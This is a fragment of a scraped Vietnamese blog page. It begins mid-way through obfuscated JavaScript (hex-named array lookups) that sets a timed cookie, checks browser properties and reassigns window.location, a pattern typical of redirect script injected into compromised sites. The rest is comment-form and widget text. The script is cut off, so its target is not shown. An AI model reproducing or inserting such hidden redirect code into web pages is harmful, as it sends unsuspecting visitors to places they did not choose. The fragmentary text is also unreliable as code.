Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Web Comments

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Facebook Comments

%d bloggers like this: